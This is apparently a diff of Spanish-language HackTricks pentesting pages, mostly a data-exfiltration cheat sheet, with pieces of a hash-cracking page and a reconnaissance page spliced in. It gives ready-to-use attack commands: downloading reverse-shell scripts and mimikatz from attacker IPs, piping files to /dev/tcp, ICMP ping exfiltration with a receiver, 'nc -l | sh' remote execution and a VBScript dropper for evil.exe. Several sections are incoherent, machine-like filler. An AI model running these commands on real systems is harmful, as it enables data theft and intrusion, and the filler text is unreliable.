Es importante tener en cuenta que el cracking de hashes de contraseñas es ilegal sin el consentimiento explícito del propietario del sistema. Además, es importante utilizar contraseñas seguras y robustas para evitar que sean crackeadas fácilmente.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
Rompiendo Hashes de Windows
|
||||
|
||||
Para romper hashes de Windows, podemos utilizar herramientas como `hashcat` o `John the Ripper`. Ambas herramientas son capaces de romper hashes de Windows de forma eficiente.
|
||||
|
||||
Para utilizar `hashcat`, necesitamos una lista de palabras (wordlist) y el hash que queremos romper. Podemos utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
hashcat -m 1000 hash.txt wordlist.txt
|
||||
```
|
||||
|
||||
Donde `-m 1000` indica que estamos rompiendo un hash de Windows, `hash.txt` es el archivo que contiene el hash que queremos romper y `wordlist.txt` es la lista de palabras que utilizaremos para intentar romper el hash.
|
||||
|
||||
Para utilizar `John the Ripper`, necesitamos un archivo que contenga los hashes de Windows que queremos romper. Podemos utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
john --format=NT hash.txt
|
||||
```
|
||||
|
||||
Donde `--format=NT` indica que estamos rompiendo un hash de Windows y `hash.txt` es el archivo que contiene los hashes que queremos romper.
|
||||
|
||||
Ambas herramientas son muy eficientes y pueden romper hashes de Windows en cuestión de segundos o minutos, dependiendo de la complejidad del hash y de la lista de palabras utilizada.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
Rompiendo Hashes Comunes de Aplicaciones
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
5100 | Half MD5 | Raw Hash
|
||||
100 | SHA1 | Raw Hash
|
||||
10800 | SHA-384 | Raw Hash
|
||||
1400 | SHA-256 | Raw Hash
|
||||
1700 | SHA-512 | Raw Hash
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -1,512 +0,0 @@
|
|||
## Exfiltración
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
|
||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Copiar y pegar en Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
**Windows**
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
```
|
||||
## HTTP
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
**Windows**
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
|
||||
#PS
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
|
||||
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
|
||||
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
||||
|
||||
Import-Module BitsTransfer
|
||||
Start-BitsTransfer -Source $url -Destination $output
|
||||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Subir archivos
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer imprimiendo GET y POSTs (también cabeceras)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
python3 -m pip install --user uploadserver
|
||||
python3 -m uploadserver
|
||||
# With basic auth:
|
||||
# python3 -m uploadserver --basic-auth hello:world
|
||||
|
||||
# Send a file
|
||||
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
||||
# With basic auth:
|
||||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||
```
|
||||
### **Servidor HTTPS**
|
||||
|
||||
---
|
||||
|
||||
#### **Description**
|
||||
|
||||
A HTTPS server is a server that uses the HTTPS protocol to encrypt the communication between the server and the client. This protocol is widely used to protect sensitive information such as passwords, credit card numbers, and other personal data.
|
||||
|
||||
#### **Exploitation**
|
||||
|
||||
If an attacker gains access to a HTTPS server, they can potentially exfiltrate sensitive information by intercepting the encrypted traffic. This can be done by using a man-in-the-middle attack or by compromising the server itself.
|
||||
|
||||
#### **Mitigation**
|
||||
|
||||
To prevent exfiltration through a HTTPS server, it is important to ensure that the server is properly secured. This includes using strong encryption algorithms, keeping software up-to-date, and implementing proper access controls. Additionally, monitoring network traffic for suspicious activity can help detect and prevent exfiltration attempts.
|
||||
```python
|
||||
# from https://gist.github.com/dergachev/7028596
|
||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||
# generate server.xml with the following command:
|
||||
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
# run as follows:
|
||||
# python simple-https-server.py
|
||||
# then in your browser, visit:
|
||||
# https://localhost:443
|
||||
|
||||
### PYTHON 2
|
||||
import BaseHTTPServer, SimpleHTTPServer
|
||||
import ssl
|
||||
|
||||
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
|
||||
httpd.serve_forever()
|
||||
###
|
||||
|
||||
### PYTHON3
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
|
||||
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
|
||||
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
|
||||
httpd.serve_forever()
|
||||
###
|
||||
|
||||
### USING FLASK
|
||||
from flask import Flask, redirect, request
|
||||
from urllib.parse import quote
|
||||
app = Flask(__name__)
|
||||
@app.route('/')
|
||||
def root():
|
||||
print(request.get_json())
|
||||
return "OK"
|
||||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
###
|
||||
```
|
||||
## FTP
|
||||
|
||||
### Servidor FTP (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### Servidor FTP (NodeJS)
|
||||
|
||||
#### Introducción
|
||||
|
||||
En este apartado se explicará cómo configurar un servidor FTP en NodeJS para exfiltrar datos.
|
||||
|
||||
#### Configuración
|
||||
|
||||
Para configurar el servidor FTP, se debe instalar el paquete `ftp-srv` de NodeJS:
|
||||
|
||||
```
|
||||
npm install ftp-srv
|
||||
```
|
||||
|
||||
Luego, se debe crear un archivo `server.js` con el siguiente contenido:
|
||||
|
||||
```javascript
|
||||
const FtpSrv = require('ftp-srv');
|
||||
|
||||
const ftpServer = new FtpSrv({
|
||||
url: 'ftp://0.0.0.0:21',
|
||||
pasv_url: 'ftp://0.0.0.0:3000',
|
||||
greeting: 'Welcome to my FTP server',
|
||||
anonymous: true,
|
||||
file_format: 'ls',
|
||||
});
|
||||
|
||||
ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
|
||||
console.log(`User ${username} logged in`);
|
||||
resolve({root: '/'});
|
||||
});
|
||||
|
||||
ftpServer.listen()
|
||||
.then(() => {
|
||||
console.log('FTP server listening');
|
||||
});
|
||||
```
|
||||
|
||||
Este archivo crea un servidor FTP que escucha en el puerto 21 y utiliza el puerto 3000 para conexiones pasivas. Además, permite conexiones anónimas y muestra un mensaje de bienvenida personalizado.
|
||||
|
||||
#### Uso
|
||||
|
||||
Para utilizar el servidor FTP, se debe ejecutar el archivo `server.js` con NodeJS:
|
||||
|
||||
```
|
||||
node server.js
|
||||
```
|
||||
|
||||
Luego, se puede conectar al servidor FTP utilizando cualquier cliente FTP, como `ftp` en Linux o FileZilla en Windows. La dirección IP del servidor FTP es la dirección IP de la máquina en la que se está ejecutando el servidor.
|
||||
|
||||
Una vez conectado al servidor FTP, se pueden subir y descargar archivos como en cualquier otro servidor FTP.
|
||||
|
||||
#### Conclusión
|
||||
|
||||
El servidor FTP en NodeJS es una herramienta útil para exfiltrar datos de forma sencilla y rápida. Sin embargo, se debe tener en cuenta que el servidor FTP no es seguro y que los datos transferidos pueden ser interceptados por terceros. Por lo tanto, se recomienda utilizar esta herramienta solo en entornos controlados y seguros.
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### Servidor FTP (pure-ftp)
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
||||
```bash
|
||||
#Run the following script to configure the FTP server
|
||||
#!/bin/bash
|
||||
groupadd ftpgroup
|
||||
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
|
||||
pure-pwd useradd fusr -u ftpuser -d /ftphome
|
||||
pure-pw mkdb
|
||||
cd /etc/pure-ftpd/auth/
|
||||
ln -s ../conf/PureDB 60pdb
|
||||
mkdir -p /ftphome
|
||||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### Cliente **Windows**
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
echo USER anonymous >> ftp.txt
|
||||
echo anonymous >> ftp.txt
|
||||
echo bin >> ftp.txt
|
||||
echo GET mimikatz.exe >> ftp.txt
|
||||
echo bye >> ftp.txt
|
||||
ftp -n -v -s:ftp.txt
|
||||
```
|
||||
## SMB
|
||||
|
||||
Kali como servidor
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
O crear un recurso compartido smb **usando samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
chmod 777 /tmp/smb
|
||||
#Add to the end of /etc/samba/smb.conf this:
|
||||
[public]
|
||||
comment = Samba on Ubuntu
|
||||
path = /tmp/smb
|
||||
read only = no
|
||||
browsable = yes
|
||||
guest ok = Yes
|
||||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
# Exfiltración de datos en Windows
|
||||
|
||||
## Introducción
|
||||
|
||||
La exfiltración de datos es el proceso de robo y transferencia de datos de un sistema comprometido a un sistema controlado por el atacante. En este documento se describen algunas técnicas comunes de exfiltración de datos en sistemas Windows.
|
||||
|
||||
## Técnicas de exfiltración de datos
|
||||
|
||||
### Correo electrónico
|
||||
|
||||
El correo electrónico es una forma común de exfiltración de datos. Los atacantes pueden enviar correos electrónicos con archivos adjuntos que contienen datos robados. También pueden utilizar servicios de correo electrónico en línea para enviar datos a través de la web.
|
||||
|
||||
### FTP
|
||||
|
||||
FTP es un protocolo de transferencia de archivos que se utiliza comúnmente para la exfiltración de datos. Los atacantes pueden utilizar clientes FTP para transferir datos a un servidor controlado por el atacante.
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Los atacantes pueden utilizar el protocolo HTTP/HTTPS para exfiltrar datos. Pueden utilizar herramientas como cURL o Wget para enviar datos a un servidor controlado por el atacante.
|
||||
|
||||
### DNS
|
||||
|
||||
El protocolo DNS se utiliza comúnmente para resolver nombres de dominio en direcciones IP. Los atacantes pueden utilizar consultas DNS para exfiltrar datos. Pueden utilizar herramientas como DnsCat2 para enviar datos a través de consultas DNS.
|
||||
|
||||
### SMB
|
||||
|
||||
SMB es un protocolo utilizado para compartir archivos e impresoras en redes Windows. Los atacantes pueden utilizar SMB para exfiltrar datos. Pueden utilizar herramientas como Impacket para transferir archivos a través de SMB.
|
||||
|
||||
### Dispositivos USB
|
||||
|
||||
Los atacantes pueden utilizar dispositivos USB para exfiltrar datos. Pueden copiar datos en un dispositivo USB y luego llevarlo físicamente fuera del lugar.
|
||||
|
||||
## Conclusiones
|
||||
|
||||
La exfiltración de datos es una parte importante del proceso de ataque. Los atacantes utilizan una variedad de técnicas para exfiltrar datos de sistemas comprometidos. Es importante que los administradores de sistemas estén al tanto de estas técnicas y tomen medidas para prevenirlas.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
||||
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
|
||||
WindPS-2> cd new_disk:
|
||||
```
|
||||
## SCP
|
||||
|
||||
El atacante debe tener SSHd en ejecución.
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
NC (Netcat) es una herramienta de red que se utiliza para leer y escribir datos a través de conexiones de red utilizando TCP o UDP. Es una herramienta muy útil para la exfiltración de datos, ya que permite la transferencia de archivos y la ejecución de comandos en sistemas remotos.
|
||||
|
||||
### Ejemplo de uso
|
||||
|
||||
Para utilizar NC para la exfiltración de datos, primero debemos establecer una conexión entre el sistema de origen y el sistema de destino. En el sistema de origen, podemos utilizar el siguiente comando para enviar un archivo a través de NC:
|
||||
|
||||
```
|
||||
nc <ip_destino> <puerto_destino> < archivo_a_enviar
|
||||
```
|
||||
|
||||
En el sistema de destino, podemos utilizar el siguiente comando para recibir el archivo:
|
||||
|
||||
```
|
||||
nc -l <puerto_destino> > archivo_recibido
|
||||
```
|
||||
|
||||
También podemos utilizar NC para ejecutar comandos en sistemas remotos. En el sistema de origen, podemos utilizar el siguiente comando para ejecutar un comando en el sistema de destino:
|
||||
|
||||
```
|
||||
echo "<comando_a_ejecutar>" | nc <ip_destino> <puerto_destino>
|
||||
```
|
||||
|
||||
En el sistema de destino, podemos utilizar el siguiente comando para recibir el comando y ejecutarlo:
|
||||
|
||||
```
|
||||
nc -l <puerto_destino> | sh
|
||||
```
|
||||
|
||||
Es importante tener en cuenta que NC no proporciona cifrado de datos, por lo que cualquier información transferida a través de NC puede ser interceptada y leída por terceros. Por lo tanto, se recomienda utilizar NC en combinación con otras herramientas de cifrado, como SSH o SSL, para garantizar la seguridad de los datos transferidos.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### Descargar archivo desde la víctima
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Subir archivo a la víctima
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
## **ICMP**
|
||||
|
||||
Gracias a **@BinaryShadow\_**
|
||||
```bash
|
||||
# To exfiltrate the content of a file via pings you can do:
|
||||
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
||||
#This will 4bytes per ping packet (you could probably increase this until 16)
|
||||
```
|
||||
|
||||
```python
|
||||
from scapy.all import *
|
||||
#This is ippsec receiver created in the HTB machine Mischief
|
||||
def process_packet(pkt):
|
||||
if pkt.haslayer(ICMP):
|
||||
if pkt[ICMP].type == 0:
|
||||
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
|
||||
print(f"{data.decode('utf-8')}", flush=True, end="")
|
||||
|
||||
sniff(iface="tun0", prn=process_packet)
|
||||
```
|
||||
## **SMTP**
|
||||
|
||||
Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Por defecto en XP y 2003 (en otros sistemas operativos es necesario agregarlo explícitamente durante la instalación)
|
||||
|
||||
En Kali, **inicie el servidor TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Servidor TFTP en Python:**
|
||||
|
||||
```python
|
||||
import socketserver
|
||||
import struct
|
||||
|
||||
class TFTPServer(socketserver.UDPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass)
|
||||
|
||||
class TFTPHandler(socketserver.BaseRequestHandler):
|
||||
def handle(self):
|
||||
data, socket = self.request
|
||||
opcode = struct.unpack("!H", data[:2])[0]
|
||||
if opcode == 1:
|
||||
filename = data[2:data.index(b'\0', 2)].decode('ascii')
|
||||
mode = data[data.index(b'\0', 2)+1:data.index(b'\0', data.index(b'\0', 2)+1)].decode('ascii')
|
||||
print("File requested: %s" % filename)
|
||||
print("Mode: %s" % mode)
|
||||
with open(filename, "rb") as f:
|
||||
file_data = f.read()
|
||||
block_num = 1
|
||||
while True:
|
||||
block = file_data[(block_num-1)*512:block_num*512]
|
||||
if not block:
|
||||
break
|
||||
packet = struct.pack("!H", 3) + struct.pack("!H", block_num) + block
|
||||
socket.sendto(packet, self.client_address)
|
||||
block_num += 1
|
||||
else:
|
||||
print("Unknown opcode: %d" % opcode)
|
||||
|
||||
if __name__ == "__main__":
|
||||
server = TFTPServer(('0.0.0.0', 69), TFTPHandler)
|
||||
server.serve_forever()
|
||||
```
|
||||
|
||||
Este es un servidor TFTP escrito en Python. El servidor escucha en todas las interfaces en el puerto 69. Cuando recibe una solicitud de lectura de archivo (opcode 1), lee el archivo solicitado y lo envía al cliente en bloques de 512 bytes.
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
En **víctima**, conectarse al servidor Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Descargar un archivo con una línea de código en PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
VBScript es un lenguaje de scripting que se utiliza principalmente en sistemas operativos Windows. Es similar a JavaScript y se utiliza para automatizar tareas en el sistema operativo. VBScript se puede utilizar para exfiltrar datos de un sistema comprometido. Algunas técnicas comunes de exfiltración de datos con VBScript incluyen el uso de FTP, correo electrónico y HTTP. También se puede utilizar para crear backdoors y descargar malware en un sistema comprometido.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
**Víctima**
|
||||
```bash
|
||||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
|
||||
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
|
||||
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
|
||||
echo Err.Clear >> wget.vbs
|
||||
echo Set http = Nothing >> wget.vbs
|
||||
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
|
||||
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
|
||||
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
|
||||
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
|
||||
echo http.Open "GET", strURL, False >> wget.vbs
|
||||
echo http.Send >> wget.vbs
|
||||
echo varByteArray = http.ResponseBody >> wget.vbs
|
||||
echo Set http = Nothing >> wget.vbs
|
||||
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
|
||||
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
|
||||
echo strData = "" >> wget.vbs
|
||||
echo strBuffer = "" >> wget.vbs
|
||||
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
|
||||
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
|
||||
echo Next >> wget.vbs
|
||||
echo ts.Close >> wget.vbs
|
||||
```
|
||||
|
||||
```bash
|
||||
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## Debug.exe
|
||||
|
||||
Esta es una técnica loca que funciona en máquinas Windows de 32 bits. La idea es usar el programa `debug.exe`. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hexadecimales. Entonces, la idea es que tomemos binarios, como `netcat`. Y luego lo desensamblamos en hexadecimales, lo pegamos en un archivo en la máquina comprometida y luego lo ensamblamos con `debug.exe`.
|
||||
|
||||
`Debug.exe` solo puede ensamblar 64 kb. Entonces necesitamos usar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagámoslo:
|
||||
```
|
||||
upx -9 nc.exe
|
||||
```
|
||||
Ahora solo pesa 29 kb. Perfecto. Ahora vamos a desensamblarlo:
|
||||
```
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Ahora simplemente copiamos y pegamos el texto en nuestra shell de Windows. Y automáticamente creará un archivo llamado nc.exe
|
||||
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensa por errores creada por hackers, para hackers**! ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,567 +0,0 @@
|
|||
# Metodología de Reconocimiento Externo
|
||||
|
||||
<details>
|
||||
|
||||
